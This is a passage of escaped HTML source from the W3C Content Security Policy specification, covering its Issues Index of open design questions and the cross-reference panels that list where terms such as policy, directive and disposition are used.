class=\"kt\">long</span></a>           <a class=\"nv\" data-type=\"long           \" href=\"#dom-securitypolicyviolationeventinit-columnnumber\"><code>columnNumber</code></a>;\n};\n\n</pre>\n  <h2 class=\"no-num no-ref heading settled\" id=\"issues-index\"><span class=\"content\">Issues Index</span><a class=\"self-link\" href=\"#issues-index\"></a></h2>\n  <div style=\"counter-reset:issue\">\n   <div class=\"issue\"> <code>unsafe-hashed-attributes</code> is a work in progress. <a href=\"https://github.com/w3c/webappsec-csp/issues/13\">&lt;https://github.com/w3c/webappsec-csp/issues/13></a><a href=\"#issue-2f321613\"> ↵ </a></div>\n   <div class=\"issue\"> <code>disown-opener</code> is a work in progress. <a href=\"https://github.com/w3c/webappsec-csp/issues/194\">&lt;https://github.com/w3c/webappsec-csp/issues/194></a><a href=\"#issue-0915ad11\"> ↵ </a></div>\n   <div class=\"issue\"> <code>navigation-to</code> is a work in progress. <a href=\"https://github.com/w3c/webappsec-csp/issues/125\">&lt;https://github.com/w3c/webappsec-csp/issues/125></a><a href=\"#issue-a305d3f5\"> ↵ </a></div>\n   <div class=\"issue\"> Is this kind of thing specified anywhere? I didn’t see anything\n  that looked useful in <a data-link-type=\"biblio\" href=\"#biblio-ecma262\">[ECMA262]</a>.<a href=\"#issue-c404edb5\"> ↵ </a></div>\n   <div class=\"issue\"> How, exactly, do we get the status code? We don’t actually store it\n  anywhere.<a href=\"#issue-99576800\"> ↵ </a></div>\n   <div class=\"issue\"> This concept is missing from W3C’s Workers. <a href=\"https://github.com/w3c/html/issues/187\">&lt;https://github.com/w3c/html/issues/187></a><a href=\"#issue-a794766b\"> ↵ </a></div>\n   <div class=\"issue\"> Stylesheet loading is not yet integrated with\n  Fetch in W3C’s HTML. <a href=\"https://github.com/whatwg/html/issues/198\">&lt;https://github.com/whatwg/html/issues/198></a><a href=\"#issue-aa77c60b\"> ↵ </a></div>\n   <div class=\"issue\"> Stylesheet loading is not yet integrated with\n  Fetch in WHATWG’s HTML. <a href=\"https://github.com/whatwg/html/issues/968\">&lt;https://github.com/whatwg/html/issues/968></a><a href=\"#issue-25da4fba\"> ↵ </a></div>\n   <div class=\"issue\"> This hook is missing from W3C’s HTML. <a href=\"https://github.com/w3c/html/issues/547\">&lt;https://github.com/w3c/html/issues/547></a><a href=\"#issue-5faf83e6\"> ↵ </a></div>\n   <div class=\"issue\"> W3C’s HTML is not based on Fetch, and does not\n  have a <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/browsing-the-web.html#process-a-navigate-response\">process a navigate response</a> algorithm into which to hook. <a href=\"https://github.com/w3c/html/issues/548\">&lt;https://github.com/w3c/html/issues/548></a><a href=\"#issue-7b0f92da\"> ↵ </a></div>\n   <div class=\"issue\"> <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://tc39.github.io/ecma262#sec-hostensurecancompilestrings\">HostEnsureCanCompileStrings()</a></code> does not include the string which is\n  going to be compiled as a parameter. We’ll also need to update HTML to pipe that value through\n  to CSP. <a href=\"https://github.com/tc39/ecma262/issues/938\">&lt;https://github.com/tc39/ecma262/issues/938></a><a href=\"#issue-910d1dca\"> ↵ </a></div>\n   <div class=\"issue\"> This needs to be better explained. <a href=\"https://github.com/w3c/webappsec-csp/issues/212\">&lt;https://github.com/w3c/webappsec-csp/issues/212></a><a href=\"#issue-ba1a0a35\"> ↵ </a></div>\n   <div class=\"issue\"> Do something interesting to the execution context in order to lock down\n  interesting CSSOM algorithms. I don’t think CSSOM gives us any hooks here, so\n  let’s work with them to put something reasonable together.<a href=\"#issue-eba1ebc1\"> ↵ </a></div>\n   <div class=\"issue\"> Not sure this is the right model. We need to ensure that we take care\n    of <a href=\"https://github.com/w3c/webappsec/issues/139\">the inverse</a> as\n    well, and there might be a cleverer syntax that could encompass both a\n    document’s opener, and a document’s openees. <code>disown-openee</code> is weird.\n    Maybe <code>disown 'opener' 'openee'</code>? Do we need origin restrictions on either/both?<a href=\"#issue-55f190c5\"> ↵ </a></div>\n   <div class=\"issue\"> What should this do in an <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element\">iframe</a></code>? Anything?<a href=\"#issue-466edd09\"> ↵ </a></div>\n   <div class=\"issue\"> Spell this out in more detail as part of defining <code>X-Frame-Options</code> integration with the <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/browsing-the-web.html#process-a-navigate-response\">process a navigate response</a> algorithm. <a href=\"https://github.com/whatwg/html/issues/1230\">&lt;https://github.com/whatwg/html/issues/1230></a><a href=\"#issue-db2876b7\"> ↵ </a></div>\n   <div class=\"issue\"> Should we use <code>ancestor-source-list</code> (basically, origins as opposed to\n    paths?) It doesn’t appear that blocking navigation targets is any worse than\n    blocking any other request type with regard to leakage. Given the redirect\n    behavior, this devolves to an origin check in the presence of a malicious\n    party anyway...<a href=\"#issue-86f8d392\"> ↵ </a></div>\n   <div class=\"issue\"> We need some sort of hook in HTML to record this error if we’re\n  planning on using it here. <a href=\"https://github.com/whatwg/html/issues/3257\">&lt;https://github.com/whatwg/html/issues/3257></a><a href=\"#issue-e2d81ee7\"> ↵ </a></div>\n   <div class=\"issue\"> This processing is meant to mitigate the risk\n  of dangling markup attacks that steal the nonce from an existing element\n  in order to load injected script. It is fairly expensive, however, as it\n  requires that we walk through all attributes and their values in order to\n  determine whether the script should execute. Here, we try to minimize the\n  impact by doing this check only for <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/scripting.html#script\">script</a></code> elements when a nonce is\n  present, but we should probably consider this algorithm as \"at risk\" until\n  we know its impact. <a href=\"https://github.com/w3c/webappsec-csp/issues/98\">&lt;https://github.com/w3c/webappsec-csp/issues/98></a><a href=\"#issue-c41e2850\"> ↵ </a></div>\n   <div class=\"issue\"> Work in progress. <a href=\"https://github.com/w3c/webappsec-csp/issues/13\">&lt;https://github.com/w3c/webappsec-csp/issues/13></a><a href=\"#issue-0e25e974\"> ↵ </a></div>\n  </div>\n  <aside class=\"dfn-panel\" data-for=\"content-security-policy-object\">\n   <b><a href=\"#content-security-policy-object\">#content-security-policy-object</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-content-security-policy-object\">2.2. Policies</a> <a href=\"#ref-for-content-security-policy-object①\">(2)</a> <a href=\"#ref-for-content-security-policy-object②\">(3)</a>\n    <li><a href=\"#ref-for-content-security-policy-object③\">2.2.1. \n    Parse a serialized CSP </a> <a href=\"#ref-for-content-security-policy-object④\">(2)</a>\n    <li><a href=\"#ref-for-content-security-policy-object⑤\">2.2.2. \n    Parse a serialized CSP list </a>\n    <li><a href=\"#ref-for-content-security-policy-object⑥\">2.3. Directives</a> <a href=\"#ref-for-content-security-policy-object⑦\">(2)</a> <a href=\"#ref-for-content-security-policy-object⑧\">(3)</a> <a href=\"#ref-for-content-security-policy-object⑨\">(4)</a> <a href=\"#ref-for-content-security-policy-object①⓪\">(5)</a>\n    <li><a href=\"#ref-for-content-security-policy-object①①\">2.4. Violations</a> <a href=\"#ref-for-content-security-policy-object①②\">(2)</a> <a href=\"#ref-for-content-security-policy-object①③\">(3)</a> <a href=\"#ref-for-content-security-policy-object①④\">(4)</a>\n    <li><a href=\"#ref-for-content-security-policy-object①⑤\">2.4.1. \n    Create a violation object for global, policy, and directive </a>\n    <li><a href=\"#ref-for-content-security-policy-object①⑥\">2.4.2. \n    Create a violation object for request, policy, and directive </a>\n    <li><a href=\"#ref-for-content-security-policy-object①⑦\">3. \n    Policy Delivery </a> <a href=\"#ref-for-content-security-policy-object①⑧\">(2)</a>\n    <li><a href=\"#ref-for-content-security-policy-object①⑨\">4.1. \n    Integration with Fetch </a>\n    <li><a href=\"#ref-for-content-security-policy-object②⓪\">4.2. \n    Integration with HTML </a> <a href=\"#ref-for-content-security-policy-object②①\">(2)</a> <a href=\"#ref-for-content-security-policy-object②②\">(3)</a> <a href=\"#ref-for-content-security-policy-object②③\">(4)</a>\n    <li><a href=\"#ref-for-content-security-policy-object②④\">4.2.1. \n    Initialize a Document's CSP list </a>\n    <li><a href=\"#ref-for-content-security-policy-object②⑤\">5. \n    Reporting </a> <a href=\"#ref-for-content-security-policy-object②⑥\">(2)</a>\n    <li><a href=\"#ref-for-content-security-policy-object②⑦\">6.1.1.1. \n    child-src Pre-request check </a>\n    <li><a href=\"#ref-for-content-security-policy-object②⑧\">6.1.1.2. \n    child-src Post-request check </a>\n    <li><a href=\"#ref-for-content-security-policy-object②⑨\">6.1.2.1. \n    connect-src Pre-request check </a>\n    <li><a href=\"#ref-for-content-security-policy-object③⓪\">6.1.2.2. \n    connect-src Post-request check </a>\n    <li><a href=\"#ref-for-content-security-policy-object③①\">6.1.3.1. \n    default-src Pre-request check </a>\n    <li><a href=\"#ref-for-content-security-policy-object③②\">6.1.3.2. \n    default-src Post-request check </a>\n    <li><a href=\"#ref-for-content-security-policy-object③③\">6.1.4.1. \n    font-src Pre-request check </a>\n    <li><a href=\"#ref-for-content-security-policy-object③④\">6.1.4.2. \n    font-src Post-request check </a>\n    <li><a href=\"#ref-for-content-security-policy-object③⑤\">6.1.5.1. \n    frame-src Pre-request check </a>\n    <li><a href=\"#ref-for-content-security-policy-object③⑥\">6.1.5.2. \n    frame-src Post-request check </a>\n    <li><a href=\"#ref-for-content-security-policy-object③⑦\">6.1.6.1. \n    img-src Pre-request check </a>\n    <li><a href=\"#ref-for-content-security-policy-object③⑧\">6.1.6.2. \n    img-src Post-request check </a>\n    <li><a href=\"#ref-for-content-security-policy-object③⑨\">6.1.7.1. \n    manifest-src Pre-request check </a>\n    <li><a href=\"#ref-for-content-security-policy-object④⓪\">6.1.7.2. \n    manifest-src Post-request check </a>\n    <li><a href=\"#ref-for-content-security-policy-object④①\">6.1.8.1. \n    media-src Pre-request check </a>\n    <li><a href=\"#ref-for-content-security-policy-object④②\">6.1.8.2. \n    media-src Post-request check </a>\n    <li><a href=\"#ref-for-content-security-policy-object④③\">6.1.9. object-src</a>\n    <li><a href=\"#ref-for-content-security-policy-object④④\">6.1.9.1. \n    object-src Pre-request check </a>\n    <li><a href=\"#ref-for-content-security-policy-object④⑤\">6.1.9.2. \n    object-src Post-request check </a>\n    <li><a href=\"#ref-for-content-security-policy-object④⑥\">6.1.10.1. \n    script-src Pre-request check </a>\n    <li><a href=\"#ref-for-content-security-policy-object④⑦\">6.1.10.2. \n    script-src Post-request check </a>\n    <li><a href=\"#ref-for-content-security-policy-object④⑧\">6.1.11.1. \n    style-src Pre-request Check </a>\n    <li><a href=\"#ref-for-content-security-policy-object④⑨\">6.1.11.2. \n    style-src Post-request Check </a>\n    <li><a href=\"#ref-for-content-security-policy-object⑤⓪\">6.1.12.1. \n    worker-src Pre-request Check </a>\n    <li><a href=\"#ref-for-content-security-policy-object⑤①\">6.1.12.2. \n    worker-src Post-request Check </a>\n    <li><a href=\"#ref-for-content-security-policy-object⑤②\">6.2.2.1. \n    plugin-types Post-Request Check </a>\n    <li><a href=\"#ref-for-content-security-policy-object⑤③\">6.2.3.1. \n    sandbox Response Check </a>\n    <li><a href=\"#ref-for-content-security-policy-object⑤④\">6.2.3.2. \n    sandbox Initialization </a>\n    <li><a href=\"#ref-for-content-security-policy-object⑤⑤\">6.2.4.1. \n    disown-opener Initialization </a>\n    <li><a href=\"#ref-for-content-security-policy-object⑤⑥\">6.3.2.2. \n\t\tRelation to X-Frame-Options </a>\n    <li><a href=\"#ref-for-content-security-policy-object⑤⑦\">6.6.1.1. \n    Does request violate policy? </a>\n    <li><a href=\"#ref-for-content-security-policy-object⑤⑧\">7.1. Nonce Reuse</a>\n    <li><a href=\"#ref-for-content-security-policy-object⑤⑨\">9.1. Vendor-specific Extensions and Addons</a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"policy-directive-set\">\n   <b><a href=\"#policy-directive-set\">#policy-directive-set</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-policy-directive-set\">2.2.1. \n    Parse a serialized CSP </a> <a href=\"#ref-for-policy-directive-set①\">(2)</a> <a href=\"#ref-for-policy-directive-set②\">(3)</a> <a href=\"#ref-for-policy-directive-set③\">(4)</a>\n    <li><a href=\"#ref-for-policy-directive-set④\">2.2.2. \n    Parse a serialized CSP list </a>\n    <li><a href=\"#ref-for-policy-directive-set⑤\">2.3. Directives</a>\n    <li><a href=\"#ref-for-policy-directive-set⑥\">4.2.4. \n    Should element’s inline type behavior be blocked by Content Security Policy? </a>\n    <li><a href=\"#ref-for-policy-directive-set⑦\">5.3. \n    Report a violation </a> <a href=\"#ref-for-policy-directive-set⑧\">(2)</a> <a href=\"#ref-for-policy-directive-set⑨\">(3)</a>\n    <li><a href=\"#ref-for-policy-directive-set①⓪\">6.2.1.1. \n    Is base allowed for document? </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"policy-disposition\">\n   <b><a href=\"#policy-disposition\">#policy-disposition</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-policy-disposition\">2.2.1. \n    Parse a serialized CSP </a> <a href=\"#ref-for-policy-disposition①\">(2)</a>\n    <li><a href=\"#ref-for-policy-disposition②\">2.2.2. \n    Parse a serialized CSP list </a> <a href=\"#ref-for-policy-disposition③\">(2)</a>\n    <li><a href=\"#ref-for-policy-disposition④\">2.4. Violations</a>\n    <li><a href=\"#ref-for-policy-disposition⑤\">4.1.1. \n    Set response’s CSP list </a> <a href=\"#ref-for-policy-disposition⑥\">(2)</a>\n    <li><a href=\"#ref-for-policy-disposition⑦\">4.1.2. \n    Report Content Security Policy violations for request </a>\n    <li><a href=\"#ref-for-policy-disposition⑧\">4.1.3. \n    Should request be blocked by Content Security Policy? </a>\n    <li><a href=\"#ref-for-policy-disposition⑨\">4.1.4. \n    Should response to request be blocked by Content\n    Security Policy? </a> <a href=\"#ref-for-policy-disposition①⓪\">(2)</a>\n    <li><a href=\"#ref-for-policy-disposition①①\">4.2.4. \n    Should element’s inline type behavior be blocked by Content Security Policy? </a>\n    <li><a href=\"#ref-for-policy-disposition①②\">4.2.5. \n    Should navigation request of type from source in target be blocked\n    by Content Security Policy? </a> <a href=\"#ref-for-policy-disposition①③\">(2)</a>\n    <li><a href=\"#ref-for-policy-disposition①④\">4.2.6. \n    Should navigation response to navigation request of type from source\n    in target be blocked by Content Security Policy? </a>\n    <li><a href=\"#ref-for-policy-disposition①⑤\">4.3.1. \n    EnsureCSPDoesNotBlockStringCompilation(callerRealm, calleeRealm, source) </a>\n    <li><a href=\"#ref-for-policy-disposition①⑥\">5.2. \n    Obtain the deprecated serialization of violation </a>\n    <li><a href=\"#ref-for-policy-disposition①⑦\">6.2.1.1. \n    Is base allowed for document? </a>\n    <li><a href=\"#ref-for-policy-disposition①⑧\">6.2.3.1. \n    sandbox Response Check </a>\n    <li><a href=\"#ref-for-policy-disposition①⑨\">6.2.3.2. \n    sandbox Initialization </a>\n    <li><a href=\"#ref-for-policy-disposition②⓪\">6.3.2.2. \n\t\tRelation to X-Frame-Options </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"policy-source\">\n   <b><a href=\"#policy-source\">#policy-source</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-policy-source\">2.2. Policies</a>\n    <li><a href=\"#ref-for-policy-source①\">2.2.1. \n    Parse a serialized CSP </a> <a href=\"#ref-for-policy-source②\">(2)</a>\n    <li><a href=\"#ref-for-policy-source③\">2.2.2. \n    Parse a serialized CSP list </a> <a href=\"#ref-for-policy-source④\">(2)</a>\n    <li><a href=\"#ref-for-policy-source⑤\">4.1.1. \n    Set response’s CSP list </a> <a href=\"#ref-for-policy-source⑥\">(2)</a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"csp-list\">\n   <b><a href=\"#csp-list\">#csp-list</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-csp-list\">2.2. Policies</a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"serialized-csp\">\n   <b><a href=\"#serialized-csp\">#serialized-csp</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-serialized-csp\">2.2. Policies</a>\n    <li><a href=\"#ref-for-serialized-csp①\">2.2.1. \n    Parse a serialized CSP </a>\n    <li><a href=\"#ref-for-serialized-csp②\">2.3.1. Source Lists</a>\n    <li><a href=\"#ref-for-serialized-csp③\">3. \n    Policy Delivery </a>\n    <li><a href=\"#ref-for-serialized-csp④\">3.1. \n    The Content-Security-Policy HTTP Response Header Field </a>\n    <li><a href=\"#ref-for-serialized-csp⑤\">3.2. \n    The Content-Security-Policy-Report-Only HTTP Response Header Field </a>\n    <li><a href=\"#ref-for-serialized-csp⑥\">4.1.1. \n    Set response’s CSP list </a>\n    <li><a href=\"#ref-for-serialized-csp⑦\">5.2. \n    Obtain the deprecated serialization of violation </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"grammardef-serialized-policy\">\n   <b><a href=\"#grammardef-serialized-policy\">#grammardef-serialized-policy</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-grammardef-serialized-policy\">2.2. Policies</a>\n    <li><a href=\"#ref-for-grammardef-serialized-policy①\">3.1. \n    The Content-Security-Policy HTTP Response Header Field </a>\n    <li><a href=\"#ref-for-grammardef-serialized-policy②\">3.2. \n    The Content-Security-Policy-Report-Only HTTP Response Header Field </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"serialized-csp-list\">\n   <b><a href=\"#serialized-csp-list\">#serialized-csp-list</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-serialized-csp-list\">2.2.2. \n    Parse a serialized CSP list </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"abstract-opdef-parse-a-serialized-csp\">\n   <b><a href=\"#abstract-opdef-parse-a-serialized-csp\">#abstract-opdef-parse-a-serialized-csp</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-abstract-opdef-parse-a-serialized-csp\">2.2.2. \n    Parse a serialized CSP list </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"abstract-opdef-parse-a-serialized-csp-list\">\n   <b><a href=\"#abstract-opdef-parse-a-serialized-csp-list\">#abstract-opdef-parse-a-serialized-csp-list</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-abstract-opdef-parse-a-serialized-csp-list\">4.1.1. \n    Set response’s CSP list </a> <a href=\"#ref-for-abstract-opdef-parse-a-serialized-csp-list①\">(2)</a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"directives\">\n   <b><a href=\"#directives\">#directives</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-directives\">2.2. Policies</a>\n    <li><a href=\"#ref-for-directives①\">2.2.1. \n    Parse a serialized CSP </a> <a href=\"#ref-for-directives②\">(2)</a>\n    <li><a href=\"#ref-for-directives③\">2.3. Directives</a> <a href=\"#ref-for-directives④\">(2)</a>\n    <li><a href=\"#ref-for-directives⑤\">2.3.1. Source Lists</a>\n    <li><a href=\"#ref-for-directives⑥\">2.4. Violations</a>\n    <li><a href=\"#ref-for-directives⑦\">4.1. \n    Integration with Fetch </a>\n    <li><a href=\"#ref-for-directives⑧\">4.3.1. \n    EnsureCSPDoesNotBlockStringCompilation(callerRealm, calleeRealm, source) </a> <a href=\"#ref-for-directives⑨\">(2)</a> <a href=\"#ref-for-directives①⓪\">(3)</a>\n    <li><a href=\"#ref-for-directives①①\">5.3. \n    Report a violation </a> <a href=\"#ref-for-directives①②\">(2)</a> <a href=\"#ref-for-directives①③\">(3)</a>\n    <li><a href=\"#ref-for-directives①④\">6. \n    Content Security Policy Directives </a>\n    <li><a href=\"#ref-for-directives①⑤\">6.1.1.1. \n    child-src Pre-request check </a>\n    <li><a href=\"#ref-for-directives①⑥\">6.1.1.2. \n    child-src Post-request check </a>\n    <li><a href=\"#ref-for-directives①⑦\">6.1.3.1. \n    default-src Pre-request check </a> <a href=\"#ref-for-directives①⑧\">(2)</a> <a href=\"#ref-for-directives①⑨\">(3)</a> <a href=\"#ref-for-directives②⓪\">(4)</a>\n    <li><a href=\"#ref-for-directives②①\">6.1.3.2. \n    default-src Post-request check </a> <a href=\"#ref-for-directives②②\">(2)</a> <a href=\"#ref-for-directives②③\">(3)</a> <a href=\"#ref-for-directives②④\">(4)</a>\n    <li><a href=\"#ref-for-directives②⑤\">6.1.10.1. \n    script-src Pre-request check </a>\n    <li><a href=\"#ref-for-directives②⑥\">6.1.10.2. \n    script-src Post-request check </a>\n    <li><a href=\"#ref-for-directives②⑦\">6.2.1.1. \n    Is base allowed for document? </a> <a href=\"#ref-for-directives②⑧\">(2)</a>\n    <li><a href=\"#ref-for-directives②⑨\">6.2.2.2. \n    Should plugin element be blocked a priori by Content\n    Security Policy?: </a>\n    <li><a href=\"#ref-for-directives③⓪\">6.3.2.2. \n\t\tRelation to X-Frame-Options </a>\n    <li><a href=\"#ref-for-directives③①\">6.6.1.1. \n    Does request violate policy? </a>\n    <li><a href=\"#ref-for-directives③②\">6.6.1.3. \n    Does request match source list? </a>\n    <li><a href=\"#ref-for-directives③③\">6.6.1.4. \n    Does response to request match source list? </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"directive-name\">\n   <b><a href=\"#directive-name\">#directive-name</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-directive-name\">2.2.1. \n    Parse a serialized CSP </a> <a href=\"#ref-for-directive-name①\">(2)</a>\n    <li><a href=\"#ref-for-directive-name②\">2.3. Directives</a>\n    <li><a href=\"#ref-for-directive-name③\">4.2.5. \n    Should navigation request of type from source in target be blocked\n    by Content Security Policy? </a> <a href=\"#ref-for-directive-name④\">(2)</a>\n    <li><a href=\"#ref-for-directive-name⑤\">4.2.6. \n    Should navigation response to navigation request of type from source\n    in target be blocked by Content Security Policy? </a>\n    <li><a href=\"#ref-for-directive-name⑥\">4.3.1. \n    EnsureCSPDoesNotBlockStringCompilation(callerRealm, calleeRealm, source) </a> <a href=\"#ref-for-directive-name⑦\">(2)</a>\n    <li><a href=\"#ref-for-directive-name⑧\">6.1.1.1. \n    child-src Pre-request check </a> <a href=\"#ref-for-directive-name⑨\">(2)</a>\n    <li><a href=\"#ref-for-directive-name①⓪\">6.1.1.2. \n    child-src Post-request check </a> <a href=\"#ref-for-directive-name①①\">(2)</a>\n    <li><a href=\"#ref-for-directive-name①②\">6.1.3.1. \n    default-src Pre-request check </a> <a href=\"#ref-for-directive-name①③\">(2)</a> <a href=\"#ref-for-directive-name①④\">(3)</a> <a href=\"#ref-for-directive-name①⑤\">(4)</a>\n    <li><a href=\"#ref-for-directive-name①⑥\">6.1.3.2. \n    default-src Post-request check </a> <a href=\"#ref-for-directive-name①⑦\">(2)</a> <a href=\"#ref-for-directive-name①⑧\">(3)</a> <a href=\"#ref-for-directive-name①⑨\">(4)</a>\n    <li><a href=\"#ref-for-directive-name②⓪\">6.1.10.1. \n    script-src Pre-request check </a>\n    <li><a href=\"#ref-for-directive-name②①\">6.1.10.2. \n    script-src Post-request check </a>\n    <li><a href=\"#ref-for-directive-name②②\">6.2.1.1. \n    Is base allowed for document? </a>\n    <li><a href=\"#ref-for-directive-name②③\">6.6.1.11. \n    Get the effective directive for request </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"directive-value\">\n   <b><a href=\"#directive-value\">#directive-value</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-directive-value\">2.2.1. \n    Parse a serialized CSP </a>\n    <li><a href=\"#ref-for-directive-value①\">2.3. Directives</a> <a href=\"#ref-for-directive-value②\">(2)</a>\n    <li><a href=\"#ref-for-directive-value③\">2.3.1. Source Lists</a>\n    <li><a href=\"#ref-for-directive-value④\">4.2.4. \n    Should element’s inline type behavior be blocked by Content Security Policy? </a>\n    <li><a href=\"#ref-for-directive-value⑤\">4.3.1. \n    EnsureCSPDoesNotBlockStringCompilation(callerRealm, calleeRealm, source) </a> <a href=\"#ref-for-directive-value⑥\">(2)</a>\n    <li><a href=\"#ref-for-directive-value⑦\">5.3. \n    Report a violation </a> <a href=\"#ref-for-directive-value⑧\">(2)</a>\n    <li><a href=\"#ref-for-directive-value⑨\">6.1.1.1. \n    child-src Pre-request check </a>\n    <li><a href=\"#ref-for-directive-value①⓪\">6.1.1.2. \n    child-src Post-request check </a>\n    <li><a href=\"#ref-for-directive-value①①\">6.1.2.1. \n    connect-src Pre-request check </a>\n    <li><a href=\"#ref-for-directive-value①②\">6.1.2.2. \n    connect-src Post-request check </a>\n    <li><a href=\"#ref-for-directive-value①③\">6.1.3.1. \n    default-src Pre-request check </a>\n    <li><a href=\"#ref-for-directive-value①④\">6.1.3.2. \n    default-src Post-request check </a>\n    <li><a href=\"#ref-for-directive-value①⑤\">6.1.4.1. \n    font-src Pre-request check </a>\n    <li><a href=\"#ref-for-directive-value①⑥\">6.1.4.2. \n    font-src Post-request check </a>\n    <li><a href=\"#ref-for-directive-value①⑦\">6.1.5.1. \n    frame-src Pre-request check </a>\n    <li><a href=\"#ref-for-directive-value①⑧\">6.1.5.2. \n    frame-src Post-request check </a>\n    <li><a href=\"#ref-for-directive-value①⑨\">6.1.6.1. \n    img-src Pre-request check </a>\n    <li><a href=\"#ref-for-directive-value②⓪\">6.1.6.2. \n    img-src Post-request check </a>\n    <li><a href=\"#ref-for-directive-value②①\">6.1.7.1. \n    manifest-src Pre-request check </a>\n    <li><a href=\"#ref-for-directive-value②②\">6.1.7.2. \n    manifest-src Post-request check </a>\n    <li><a href=\"#ref-for-directive-value②③\">6.1.8.1. \n    media-src Pre-request check </a>\n    <li><a href=\"#ref-for-directive-value②④\">6.1.8.2. \n    media-src Post-request check </a>\n    <li><a href=\"#ref-for-directive-value②⑤\">6.1.9.1. \n    object-src Pre-request check </a>\n    <li><a href=\"#ref-for-directive-value②⑥\">6.1.9.2. \n    object-src Post-request check </a>\n    <li><a href=\"#ref-for-directive-value②⑦\">6.1.10.1. \n    script-src Pre-request check </a> <a href=\"#ref-for-directive-value②⑧\">(2)</a> <a href=\"#ref-for-directive-value②⑨\">(3)</a> <a href=\"#ref-for-directive-value③⓪\">(4)</a> <a href=\"#ref-for-directive-value③①\">(5)</a>\n    <li><a href=\"#ref-for-directive-value③②\">6.1.10.2. \n    script-src Post-request check </a> <a href=\"#ref-for-directive-value③③\">(2)</a> <a href=\"#ref-for-directive-value③④\">(3)</a>\n    <li><a href=\"#ref-for-directive-value③⑤\">6.1.10.3. \n    script-src Inline Check </a> <a href=\"#ref-for-directive-value③⑥\">(2)</a>\n    <li><a href=\"#ref-for-directive-value③⑦\">6.1.11.1. \n    style-src Pre-request Check </a> <a href=\"#ref-for-directive-value③⑧\">(2)</a>\n    <li><a href=\"#ref-for-directive-value③⑨\">6.1.11.2. \n    style-src Post-request Check </a> <a href=\"#ref-for-directive-value④⓪\">(2)</a>\n    <li><a href=\"#ref-for-directive-value④①\">6.1.11.3. \n    style-src Inline Check </a>\n    <li><a href=\"#ref-for-directive-value④②\">6.1.12.1. \n    worker-src Pre-request Check </a>\n    <li><a href=\"#ref-for-directive-value④③\">6.1.12.2. \n    worker-src Post-request Check </a>\n    <li><a href=\"#ref-for-directive-value④④\">6.2.1.1. \n    Is base allowed for document? </a>\n    <li><a href=\"#ref-for-directive-value④⑤\">6.2.2.1. \n    plugin-types Post-Request Check </a>\n    <li><a href=\"#ref-for-directive-value④⑥\">6.2.2.2. \n    Should plugin element be blocked a priori by Content\n    Security Policy?: </a>\n    <li><a href=\"#ref-for-directive-value④⑦\">6.2.3.1. \n    sandbox Response Check </a>\n    <li><a href=\"#ref-for-directive-value④⑧\">6.2.3.2. \n    sandbox Initialization </a>\n    <li><a href=\"#ref-for-directive-value④⑨\">6.3.1.1. \n    form-action Pre-Navigation Check </a>\n    <li><a href=\"#ref-for-directive-value⑤⓪\">6.3.2.1. \n    frame-ancestors Navigation Response Check </a>\n    <li><a href=\"#ref-for-directive-value⑤①\">6.3.3.1. \n      navigation-to Pre-Navigation Check </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"serialized-directive\">\n   <b><a href=\"#serialized-directive\">#serialized-directive</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-serialized-directive\">2.2. Policies</a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"grammardef-serialized-directive\">\n   <b><a href=\"#grammardef-serialized-directive\">#grammardef-serialized-directive</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-grammardef-serialized-directive\">2.2. Policies</a> <a href=\"#ref-for-grammardef-serialized-directive①\">(2)</a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"grammardef-directive-name\">\n   <b><a href=\"#grammardef-directive-name\">#grammardef-directive-name</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-grammardef-directive-name\">2.3. Directives</a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"grammardef-directive-value\">\n   <b><a href=\"#grammardef-directive-value\">#grammardef-directive-value</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-grammardef-directive-value\">2.3. Directives</a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"directive-pre-request-check\">\n   <b><a href=\"#directive-pre-request-check\">#directive-pre-request-check</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-directive-pre-request-check\">4.1. \n    Integration with Fetch </a>\n    <li><a 